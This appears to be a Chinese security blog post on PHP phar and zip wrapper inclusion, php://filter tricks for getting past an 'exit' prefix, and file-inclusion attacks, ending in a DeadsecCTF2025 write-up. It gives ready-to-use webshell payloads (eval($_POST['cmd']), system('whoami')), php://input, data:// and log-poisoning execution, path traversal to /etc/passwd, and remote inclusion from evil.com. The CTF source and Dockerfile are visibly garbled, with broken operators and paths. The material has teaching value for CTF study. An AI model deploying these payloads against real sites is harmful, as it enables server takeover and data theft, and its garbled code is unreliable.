Phar漏洞,PHP_filter,文件包含漏洞,include结合phar

Phar漏洞

一、想象一下这个场景

1.1 快递员的"狸猫换太子"

想象:

你是个快递员,公司规定"只收衣服包裹,不收电器包裹"。

有个坏蛋把一台微波炉(PHP代码)装进衣服盒子(ZIP文件)里,然后在盒子上贴个"衣服"标签(`.jpg`)。

你看标签是"衣服",就收了。

公司仓库的智能分拣机(PHP内核)拆包裹时,不看标签,而是用X光扫描(文件头检测)------发现里面是微波炉!

但公司有条规定:"只要是从包裹里取出的东西,都直接使用"。

结果:微波炉被插上电运行了(PHP代码执行)!

二、Phar漏洞就是"挂羊头卖狗肉"

2.1 简单三步攻击

php 复制代码
# 1. 坏蛋准备"毒包裹"
# 把恶意代码(shell.php)打包成ZIP,就像把微波炉装进衣服盒子
echo "<?php system('whoami'); ?>" > shell.php
zip evil.zip shell.php

# 2. 贴上"安全标签"(伪装成图片)
# 把 evil.zip 改名为 avatar.jpg
mv evil.zip avatar.jpg

# 3. 骗快递员"请拆开这个包裹并拿出里面的东西"
# 网站代码不小心执行了:
include('phar://uploads/avatar.jpg/shell.php');
# 结果:whoami命令被执行了!

2.2 为啥能成功?

普通人的思维:

文件叫 avatar.jpg → 肯定是图片 → 直接显示

PHP内核的思维:

收到命令:phar://avatar.jpg/shell.php

哦,是phar协议!让我看看avatar.jpg里面有什么

扫描文件头:咦?这不是图片,是ZIP文件!

打开ZIP,找到shell.php

读取shell.php内容:<?php system('whoami'); ?>

这是PHP代码,执行它!

三、真实网站的例子

3.1 常见的网站代码漏洞

php 复制代码
假设一个网站有这样的代码:
// 1. 上传头像功能(很多网站都有)
$avatar = $_FILES['avatar'];
move_uploaded_file($avatar['tmp_name'], 'uploads/'.$avatar['name']);

// 2. 包含模板功能(也很常见)
$page = $_GET['page'];  // 比如 ?page=about.php
include('templates/'.$page);
```

**攻击者可以**:
1. 上传一个"毒图片"`avatar.jpg`(实际是ZIP)
2. 访问:`?page=phar://uploads/avatar.jpg/shell.php`
3. Boom!代码执行了

四、比喻理解PHP内部机制

4.1 PHP的"三层办事流程"

第一层:前台接待员(Zend引擎)
  • 工作:收到用户请求 `include('phar://xxx.jpg/yyy.php')`
  • 特点:只看协议头 `phar://`,不看文件名
  • 行动:"这是phar协议的文件,交给phar部门处理"
第二层:phar部门专家(Phar扩展)
  • 工作:处理所有phar://开头的请求
  • 绝招:**不看文件后缀,直接看文件内容**
  • 发现:"xxx.jpg文件里实际是ZIP格式!让我拆开看看..."
  • 找到:"哦,里面有yyy.php文件"
第三层:PHP代码执行器(Zend虚拟机)
  • 工作:执行PHP代码
  • 流程:"phar部门给了我yyy.php的内容,我照常执行"
  • 结果:恶意代码运行了!

4.2 关键点:PHP"太聪明"了

正常软件:

文件名.jpg → 肯定是图片 → 只按图片处理

PHP的phar:

文件名.jpg → 先别急,让我看看内容 → 啊,是ZIP!→ 按ZIP处理

五、渗透测试时怎么用?

5.1 简单的测试步骤

php 复制代码
// 1. 准备"毒包裹"
// 创建一句话木马
file_put_contents('shell.php', '<?php eval($_POST["cmd"]); ?>');

// 2. 打包成ZIP
$zip = new ZipArchive();
$zip->open('test.zip', ZipArchive::CREATE);
$zip->addFile('shell.php');
$zip->close();

// 3. 重命名为图片
rename('test.zip', 'test.jpg');

// 4. 上传到目标网站

// 5. 尝试触发(如果存在文件包含漏洞)
// 访问:http://target.com/page.php?file=phar://uploads/test.jpg/shell.php
// 或者:include('phar://uploads/test.jpg/shell.php');

5.2 查找可利用的点

  1. 找上传点:头像上传、附件上传、图片上传

  2. 找包含点:URL参数包含文件,比如:

  • `?page=about`

  • `?file=download.pdf`

  • `?action=show&template=default`

  1. 组合利用:上传"毒图片" + 通过包含触发

一句话总结

Phar漏洞就是:你把一个ZIP文件改名为.jpg上传,PHP傻乎乎地按ZIP拆开,执行了里面的PHP代码。

浅谈PHP_filter的妙用

1.巧用编码与解码

核心原理

该绕过的核心是利用 PHP 的 php://filter 伪协议配合 convert.base64-decode 过滤器,在写入文件时对内容进行 Base64 解码操作。PHP 的 Base64 解码器在解码时会自动忽略非 Base64 字符集内的字符a-z, A-Z, 0-9, +, / 之外的字符)。

具体步骤分析

1. 原始代码逻辑分析
php 复制代码
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
  • $content 初始值包含 <?php exit; ?>,一旦文件被执行,遇到 exit 语句会立即终止,后续代码无法执行。
  • 用户通过 POST 提交的 txt 参数内容会被追加到 $content 后面。
  • 最终,整个 $content 会被写入用户通过 POST 提交的 filename 参数指定的文件中。
2. 利用点:filename 参数可控

攻击者可以控制 filename 参数的值。通过将其设置为 php://filter/write=convert.base64-decode/resource=shell.php

  • php://filter: 表示使用过滤器流。
  • write=convert.base64-decode: 指定在写入文件之前,对数据进行 Base64 解码。
  • resource=shell.php: 指定最终写入的文件名为 shell.php
3. 构造 Payload

攻击者需要精心构造 POST 请求中的 txt 参数值。

  • 目标恶意代码 :例如 <?php eval($_POST['cmd']);?>
  • Base64 编码恶意代码 :先对目标代码进行 Base64 编码,得到 PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==
  • 处理前置 <?php exit; ?>
    • 原始 $content 开头是 <?php exit; ?>
    • Base64 解码器会忽略其中的非 Base64 字符(<, ?, p, h, , e, x, i, t, ;, > 中只有 p, h, e, x, i, t 是合法字符)。因此,解码器实际会尝试解码 phpexit 这 7 个字符。
    • Base64 解码要求输入字符串长度是 4 的倍数。phpexit 长度为 7,需要补 1 个字符(如 a)凑齐 8 个字符(即 2 个 4 字符组)。
  • 构造 txt 参数txt=aPD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==。这里 a 是补位的字符,后面是恶意代码的 Base64 编码。
4. 最终 $content 写入过程

最终 $content 的值为: <?php exit; ?>aPD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==

当通过 php://filter/write=convert.base64-decode 写入时,会发生以下解码过程:

  1. 解码器扫描整个字符串,跳过所有非 Base64 字符。
  2. 剩余的合法字符序列为:phpexitaPD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==(即 phpexit + 补位的 a + PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==)。
  3. 整个序列被当作 Base64 编码进行解码:
    • 前 8 个字符 phpexita 解码后产生一段无意义的二进制数据(乱码)。
    • 后续字符 PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg== 被成功解码还原为原始目标代码 <?php eval($_POST['cmd']);?>
  4. 解码后的二进制数据(乱码 + 恶意代码)被写入 shell.php 文件。
5. 结果

写入 shell.php 文件的内容中:

  • 开头的 <?php exit; ?> 经过 Base64 解码后变成了无意义的乱码,不再构成有效的 PHP 语句。
  • 目标恶意代码 <?php eval($_POST['cmd']);?> 被成功还原并写入文件。
  • 因此,当访问 shell.php 时,前置的 exit 被成功绕过,恶意代码得以执行。

关键点总结

  • 利用 php://filter 伪协议:在写入文件前对数据进行处理(此处是 Base64 解码)。
  • Base64 解码特性:自动忽略非 Base64 字符集内的字符。
  • 字符补齐:确保待解码字符串长度是 4 的倍数,防止解码错误或截断。
  • 无效化前置代码 :通过解码将 <?php exit; ?> 变成乱码,使其失效。
  • 还原恶意代码:恶意代码经过 Base64 编码后作为有效数据的一部分,在解码后被还原。

2.利用字符串操作方法

PHP过滤器链绕过方法详解

此方法通过结合strip_tags过滤标签和base64编解码来实现绕过,核心是利用php://filter支持多个过滤器链式执行的特性。以下是详细步骤的整合:

核心矛盾
  • 目标文件开头的<?php exit; ?>是PHP标签,使用strip_tags可直接过滤。
  • 但Webshell(如<?php eval($_POST['cmd']);?>)也包含PHP标签,直接应用strip_tags会导致Webshell被一并过滤。
解决思路

采用"先编码保护Webshell,再过滤标签,最后解码还原"的策略:

  1. 对Webshell进行base64编码,将其转换为无标签的字符串。
  2. 使用strip_tags过滤掉<?php exit; ?>标签。
  3. 对剩余内容进行base64解码,还原Webshell。
具体绕过步骤

步骤1:分析strip_tags的作用

  • strip_tags会删除所有HTML/PHP标签(如<?php ... ?>)。
  • 示例:输入<?php exit; ?>TEST,过滤后变为TEST

步骤2:用base64编码保护Webshell

  • Webshell原始内容:<?php eval($_POST['cmd']);?>
  • Base64编码后:PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==(无标签,避免被过滤)。

步骤3:构造php://filter链式过滤器

  • 使用|分隔多个过滤器:

    • 先执行string.strip_tags:过滤标签。
    • 再执行convert.base64-decode:解码还原内容。
  • 构造filename参数:

    plaintext 复制代码
    php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php

步骤4:传递编码后的Webshell

  • txt参数直接传入Base64编码的Webshell:PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==
最终执行流程

file_put_contents写入时,内容为:

plaintext 复制代码
<?php exit; ?>PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==

经过链式处理:

  1. string.strip_tags :移除<?php exit; ?>,剩余PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==
  2. convert.base64-decode :解码为<?php eval($_POST['cmd']);?>
结果

最终写入shell.php的内容为完整Webshell,开头的exit标签已被过滤,Webshell可正常执行。

总结

此方法的核心在于:

  • 通过base64编码保护Webshell免受strip_tags影响。
  • 利用过滤器链实现"先过滤标签,后解码还原"的顺序操作。
  • 有效绕过初始的exit屏障,确保恶意代码成功写入。

文件包含漏洞

一、这是什么漏洞?(简单理解)

1.1 生活比喻

想象一下:

你有一个"万能钥匙"(include函数),本来只能开自己家的门(包含网站自己的文件)。

但有一天,你把钥匙给了陌生人(用户输入),结果他用这把钥匙开了别人家的门(包含系统文件),甚至自己造了把钥匙(执行恶意代码)!

1.2 漏洞本质

php 复制代码
// 危险代码示例
$file = $_GET['file'];  // 用户输入文件名
include($file);          // 直接包含!

正常情况:`?file=about.php` → 包含关于页面

攻击情况:`?file=/etc/passwd` → 读取系统密码文件!

二、漏洞产生的两个"开关"

PHP有两个重要配置,就像两个开关:

| 开关 | 默认状态 | 作用 | 危险性 |

|------|---------|------|--------|

| `allow_url_fopen` | On(开) | 允许读取远程文件 | 中 |

| `allow_url_include` | Off(关) | 允许包含远程PHP文件 | 高 |

简单说:

如果第二个开关被打开(设为On),黑客就能让你网站包含他服务器上的恶意代码!

三、四个"危险函数"

PHP有四个包含文件的函数,就像四把钥匙:

| 函数 | 特点 | 比喻 |

|------|------|------|

| `include()` | 包含失败只警告,继续执行 | "试试看,不行就算了" |

| `require()` | 包含失败就报错停止 | "必须成功,不然我就罢工" |

| `include_once()` | 只包含一次 | "这个我看过了,不看了" |

| `require_once()` | 必须包含且只一次 | "必须看,但只看一次" |

渗透测试时:找这些函数,看参数是不是用户能控制的。

四、PHP的"魔法协议"(重点!)

PHP有几个特殊协议,就像哆啦A梦的"神奇道具":

4.1 `php://input` - "读心术"

功能:读取POST请求的原始数据

攻击示例:

bash 复制代码
GET /vuln.php?file=php://input
POST数据:<?php system('whoami'); ?>

→ PHP会执行POST里的代码!

为什么危险:绕过所有文件上传,直接传代码执行。

4.2 `php://filter` - "变形术"

功能:对文件内容进行编码/解码

常用攻击:读取源码

?file=php://filter/read=convert.base64-encode/resource=config.php

→ 得到config.php的base64编码,解码就能看到源码!
绕过技巧:如果网站限制只能包含`.txt`文件:

?file=php://filter/read=convert.base64-encode/resource=config.php

照样能读!

4.3 `zip://` 和 `phar://` - "套娃攻击"

原理:把PHP木马放进ZIP压缩包,改名后上传

步骤:

  1. 创建 `shell.php`:`<?php eval($_POST['cmd']); ?>`

  2. 打包成 `evil.zip`

  3. 改名为 `evil.jpg` 上传

  4. 触发包含:`?file=zip://uploads/evil.jpg%23shell.php`

(`%23`是`#`的URL编码)

为什么有效:因为PHP识别压缩包不看扩展名,看文件头!

4.4 `data://` - "直通车"

最直接的代码执行:

bash 复制代码
?file=data://text/plain,<?php phpinfo();?>
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

→ 直接执行PHP代码!

五、其他"奇葩"包含姿势

5.1 包含日志文件

原理:网站日志会记录访问信息,包括User-Agent

攻击步骤:

  1. 修改User-Agent为:`<?php phpinfo(); ?>`

  2. 访问网站,代码被记录到日志

  3. 包含日志文件:`?file=/var/log/apache2/access.log`

关键:要知道日志文件路径(常见路径要记!)

5.2 包含Session文件

原理:PHP会把Session数据存到文件

攻击条件:

  1. 知道Session文件路径(如 `/tmp/sess_abc123`)

  2. Session中有可控内容

5.3 包含临时文件

场景:文件上传时,PHP会先创建临时文件

攻击方法:

  1. 快速上传文件

  2. 更快地包含临时文件(竞争条件)

  3. 执行临时文件中的代码

5.4 包含图片马

经典攻击:

  1. 制作图片木马:图片 + PHP代码

  2. 上传到网站

  3. 包含图片:`?file=uploads/shell.jpg`

六、绕过限制的"花式操作"

6.1 绕过后缀限制(网站加`.php`后缀)

方法1:问号截断

正常:?file=test → 实际包含 test.php

绕过:?file=http://evil.com/shell.php?

→ 包含 http://evil.com/shell.php?.php

→ ?后面的被忽略!

方法2:井号截断

?file=http://evil.com/shell.php%23

→ 包含 http://evil.com/shell.php#.php

→ #后面的被忽略!

6.2 绕过路径限制(网站限制目录)

目录遍历:

假设网站限制在 /var/www/html/

?file=../../../etc/passwd

→ 实际路径:/var/www/html/../../../etc/passwd

→ 简化为:/etc/passwd ✓

编码绕过:

  • `../` → `%2e%2e%2f`

  • `..\` → `%2e%2e%5c`

  • 双重编码:`%252e%252e%252f`

6.3 古老但有效的截断

%00截断(PHP<5.3.4):

?file=shell.php%00

→ 遇到%00就停止,后面的被忽略

长度截断(Windows/Linux有路径长度限制):

Windows(256字节):?file=shell.php\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

→ 超长路径被截断,.php被丢弃

当include邂逅phar------DeadsecCTF2025 baby-web

(结合ai的理解)

题目,包含一个个index.php和一个upload.php

php 复制代码
<?php
# index.php
session_start();
error_reporting(0);
if (!isset($_SESSION['dir'])) {
$_SESSION['dir'] = random_bytes(4);
}
if (!isset($_GET['url'])) {
die("Nope < ");
}
$include_url = basename($_GET['url']);
$SANDBOX = getcwd() . "/uploads/" . md5("supersafesalt!!!!@#$" .
$_SESSION['dir']);
if (!file_exists($SANDBOX)) {
mkdir($SANDBOX);
}
if (!file_exists($SANDBOX . '/' . $include_url)) {
die("Nope < ");
}
if (!preg_match("/\.(zip|bz2|gz|xz|7z)/i", $include_url)) {
die("Nope < ");
}
@include($SANDBOX . '/' . $include_url);
?>
<?php
# upload.php
session_start();
error_reporting(0);
$allowed_extensions = ['zip', 'bz2', 'gz', 'xz', '7z'];
$allowed_mime_types = [
'application/zip',
'application/x- bzip2',
'application/gzip',
'application/x- gzip',
'application/x- xz',
'application/x-7z- compressed',
];
function filter($tempfile)
{
$data = file_get_contents($tempfile);
if (
stripos($data, " _ HALT_COMPILER();") = false | stripos($data, "PK") =
false |
stripos($data, "<?") = false | stripos(strtolower($data), "<?php") =
false
) {
return true;
}
return false;
}
if (!isset($_SESSION['dir'])) {
$_SESSION['dir'] = random_bytes(4);
}
$SANDBOX = getcwd() . "/uploads/" . md5("supersafesalt!!!!@#$" .
$_SESSION['dir']);
if (!file_exists($SANDBOX)) {
mkdir($SANDBOX);
}
if ($_SERVER["REQUEST_METHOD"] = 'POST') {
if (is_uploaded_file($_FILES['file']['tmp_name'])) {
if (filter($_FILES['file']['tmp_name']) | !isset($_FILES['file']
['name'])) {
die("Nope < ");
}
/
mimetype check
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime_type = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);
然后docker环境也非常简单,没有配什么奇怪的东西,全是默认配置,php版本也非常高,基本上能想到
的一些绕过trick都绕不了:
if (!in_array($mime_type, $allowed_mime_types)) {
die('Nope < ');
}
/
ext check
$ext = strtolower(pathinfo(basename($_FILES['file']['name']),
PATHINFO_EXTENSION));
if (!in_array($ext, $allowed_extensions)) {
die('Nope < ');
}
if (move_uploaded_file($_FILES['file']['tmp_name'], "$SANDBOX/" .
basename($_FILES['file']['name']))) {
echo "File upload success!";
}
}
}
?>
<form enctype='multipart/form- data' action='upload.php' method='post'>
<input type='file' name='file'>
<input type="submit" value="upload"> / p>
/
form>

docker环境

bash 复制代码
FROM php:8.2-apache
RUN DEBIAN_FRONTEND=noninteractive apt- get update & \
apt- get install - y \
gcc \
libbz2-dev & \
docker- php- ext- install bz2 & \
rm - rf /var/lib/apt/lists/
RUN rm - rf /var/ w /html *
COPY flag.txt readflag.c /
RUN gcc - o /readflag /readflag.c & \
rm /readflag.c
RUN chown 0: 1337 /flag.txt /readflag & \
chmod 040 /flag.txt & \
chmod 2555 /readflag
COPY src/index.php src/upload.php /var/ w /html/

RUN chown -R root:root /var/ w & \
find /var/ w - type d - exec chmod 555 {} \; & \
find /var/ w - type f - exec chmod 444 {} \; & \
mkdir /var/ w /html/uploads & \
chmod 703 /var/ w /html/uploads
RUN find / - ignore_readdir_race - type f \( - perm -4000 - o - perm -2000 \) - not -
wholename /readflag - delete
USER w - data
RUN (find - version & id - version & sed - version & grep - version) >
/dev/null
USER root
EXPOSE 80
COPY entrypoint.sh /entrypoint.sh
RUN chmod + x /entrypoint.sh
ENTRYPOINT ["/entrypoint.sh"]

一、题目分析:看似无懈可击的防御

1.1 题目限制

代码分析

php 复制代码
// index.php 的关键限制
$include_url = basename($_GET['url']);  // 只能用文件名,不能带路径
if (!preg_match("/\.(zip|bz2|gz|xz|7z)/i", $include_url)) {
    die("Nope :<");
}
@include($SANDBOX . '/'. $include_url);  // 包含上传的文件

// upload.php 的关键过滤
function filter($tempfile) {
    $data = file_get_contents($tempfile);
    // 检查这些关键词,有就拒绝
    if (strpos($data, "__HALT_COMPILER();") !== false ||
        strpos($data, "PK") !== false ||           // ZIP文件头
        strpos($data, "<?") !== false ||           // PHP标签
        strpos(strtolower($data), "<?php") !== false) {
        return true;  // 过滤掉
    }
    return false;
}

1.2 防御看起来很强

  1. 文件名限制 :只能包含 .zip.bz2.gz.xz.7z 扩展名
  2. 内容过滤 :不能有 PK(ZIP文件头)、<?php<?__HALT_COMPILER();
  3. 路径限制basename() 去掉了所有路径,不能用 ../ 或协议
  4. 高版本PHP:PHP 8.2,很多老漏洞不能用

看起来 :上传木马 → 内容被过滤;用伪协议 → 被 basename() 干掉

二、突破口:PHP的"隐藏功能"

2.1 关键发现

问题 :为什么文件名包含 .phar 就能触发特殊处理?

答案:看PHP源码!

c 复制代码
// 伪代码表示PHP内核处理逻辑
if (文件名包含 ".phar" && 不包含 "://") {
    尝试按Phar文件解析;
}

简单说 :PHP看到文件名里有 .phar,就会尝试按Phar文件解析

2.2 Phar文件的"七十二变"

Phar文件可以伪装成各种格式:

实际格式 PHP如何处理 是否需要解压
纯Phar文件 直接解析
Gzip压缩的Phar 先解压再解析
Bzip2压缩的Phar 先解压再解析
ZIP格式的Phar 按ZIP解析
Tar格式的Phar 按Tar解析

关键点 :压缩后的Phar文件,__HALT_COMPILER();<?php 等关键词会被压缩成二进制,过滤函数无法检测!

三、攻击步骤详解

3.1 第1步:制作"隐形"Phar木马

php 复制代码
// 创建phar木马文件 create.php
<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();

// 木马代码 - 执行命令
$stub = "<?php\nsystem('whoami');\n__HALT_COMPILER();";
$phar->setStub($stub);

// 添加一些内容(非必须)
$phar->addFromString('test.txt', 'hello');
$phar->stopBuffering();

生成的exploit.phar内容

复制代码
<?php
system('whoami');
__HALT_COMPILER();
... [二进制数据] ...

3.2 第2步:给木马穿"隐身衣"(压缩)

bash 复制代码
# 用gzip压缩
gzip exploit.phar

# 得到 exploit.phar.gz
# 现在文件内容是二进制,过滤函数检测不到关键词了!

压缩前后对比

  • 压缩前:有 <?php__HALT_COMPILER(); → 会被过滤
  • 压缩后:全是二进制码 → 过滤函数无法识别,通过!

3.3 第3步:上传并触发

复制代码
1. 上传 exploit.phar.gz(文件名包含 .phar)
2. 访问:index.php?url=exploit.phar.gz
3. PHP看到文件名有 .phar,启动特殊处理
4. 发现是.gz格式,先解压
5. 解压后得到原始phar文件
6. 执行phar中的代码:system('whoami')

四、为什么能绕过所有防御?

4.1 绕过文件名限制

复制代码
要求:必须是 .zip|.bz2|.gz|.xz|.7z
我们:exploit.phar.gz ✓
    - 以 .gz 结尾 → 通过检查
    - 包含 .phar → 触发PHP特殊处理

4.2 绕过内容过滤

复制代码
过滤:检查 PK、<?、<?php、__HALT_COMPILER();
我们:gzip压缩后的二进制文件
    - 没有可读文本 → 过滤函数检测不到
    - 解压后才有恶意代码,但过滤只在上传时检查一次

4.3 绕过路径限制

复制代码
限制:basename() 去掉了路径和协议
我们:根本不需要路径穿越或协议!
    - 直接包含上传的文件
    - 依赖PHP内置的.phar识别机制
相关推荐
Wangshanjie_981 小时前
【通讯协议】-01、Modbus协议
单片机·信息与通信
Godspeed Zhao3 小时前
现代智能汽车中的无线技术11.1——蜂窝移动通信技术(11)
汽车·信息与通信
北京耐用通信4 小时前
耐达讯自动化Profinet转Devicenet网关:精细化工行业的“协议融合利器”
人工智能·物联网·网络协议·自动化·信息与通信
虚构之人4 小时前
二进制漏洞挖掘(WinAFL Fuzzing)Windows篇
汇编·网络安全·信息安全·系统安全
毕设源码-钟学长5 小时前
【开题答辩全过程】以 基于PHP的动漫社区的设计与实现为例,包含答辩的问题和答案
开发语言·php
原来是你~呀~5 小时前
CAI:人机协作的模块化网络安全AI框架
网络安全·自动化渗透测试
xixixi777776 小时前
今日 AI 、通信、安全前沿日报(2026 年 2 月 5 日,星期四)
人工智能·网络安全·ai·信息安全·大模型·通信·前沿
qq_411262426 小时前
短时间串口发送网络端怎么接收不到
开发语言·php
wxin_VXbishe6 小时前
springboot旅游信息管理系统-计算机毕业设计源码21675
java·c++·spring boot·python·spring·django·php
小邓睡不饱耶7 小时前
深度实战:Spark GraphX构建用户信任网络,精准锁定高价值目标用户(含完整案例)
大数据·spark·php